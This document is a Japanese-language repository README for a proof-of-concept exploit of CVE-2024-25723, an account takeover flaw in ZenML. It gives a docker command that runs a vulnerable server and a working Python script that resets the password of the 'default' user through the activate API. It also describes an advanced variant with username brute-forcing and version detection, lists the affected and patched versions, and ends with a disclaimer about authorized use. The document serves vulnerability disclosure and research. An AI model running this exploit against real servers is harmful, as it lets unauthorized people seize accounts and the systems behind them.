
CVE-2024-25723の教育用概念実証エクスプロイト。APIパスワードリセットを介したZenMLの未承認アカウント乗っ取りを実証。バージョン検出とブルートフォースユーザー名列挙付き。
このリポジトリは、ZenML における重大なセキュリティ脆弱性である CVE-2024-25723 に対処するために作成されました。問題を説明し、迅速な緩和を促すための教育的な Proof of Concept(PoC)を提供します。この PoC は、未承認のユーザーがこの脆弱性を悪用して任意の ZenML アカウントを乗っ取る可能性があることを示しています。
docker run -it -d -p 8080:8080 --name zenml zenmldocker/zenml-server:0.46.0
import requests
base_url = "http://localhost:8080"
user = "default"
new_password = "3gx9AbzP92rfHhZ"
activate_api_url = f"{base_url}/api/v1/users/{user}/activate"
activate_api_headers = {"Content-Type": "application/json"}
activate_api_json={"password": new_password}
activate_api_response = requests.put(activate_api_url, headers=activate_api_headers, json=activate_api_json)
print(activate_api_response.json())
PoC と高度なエクスプロイトの違いは、高度なエクスプロイトが最もよく使われるユーザー名を総当たり(ブルートフォース)で試行し、さらに ZenML のバージョンを漏えいする API を介して対象のバージョンが脆弱かどうかを検出できる点です。高度なエクスプロイトを使用するには、以下のコードをファイルに保存します:
このエクスプロイトを実行するコマンドは次のとおりです:
python3 advanced-exploit-CVE-2024-25723.py https://example.com
0.46.7 未満のすべての ZenML バージョンが脆弱ですが、次のパッチバージョンは例外です:(0.44.4、0.43.1、0.42.2)。
このリスクを軽減するには、最新バージョン(0.46.7 以上)またはパッチ適用済みバージョン(0.44.4、0.43.1、0.42.2)のいずれかにアップグレードしてください。
このリポジトリで提供される概念実証(PoC)は、教育およびセキュリティ研究の目的のみに使用されます。情報とコードは、サイバーセキュリティ専門家や研究者がソフトウェアおよびシステムの脆弱性を理解し、防御するために使用されることを意図しています。事前の相互同意なしにターゲットを攻撃するためにこの PoC、関連情報、またはコードを使用することは違法であり、厳しく禁止されています。
この PoC を使用することにより、あなたはそれが示す脆弱性の潜在的な影響を理解し、責任を持って倫理的に使用することに同意したものとみなされます。この PoC の著者は、本資料の誤用または提供された情報およびコードの使用によって生じる可能性のある損害について、一切の責任を負いません。適用されるすべての地域、州、国内、および国際法を遵守する責任はエンドユーザーにあります。
著者は、このリポジトリで提供される情報の正確性と信頼性を確保するためにあらゆる努力を払っています。ただし、情報は「現状のまま」提供され、いかなる種類の保証もありません。著者は、含まれる情報の正確性、内容、完全性、合法性、または信頼性について、一切の責任または義務を負いません。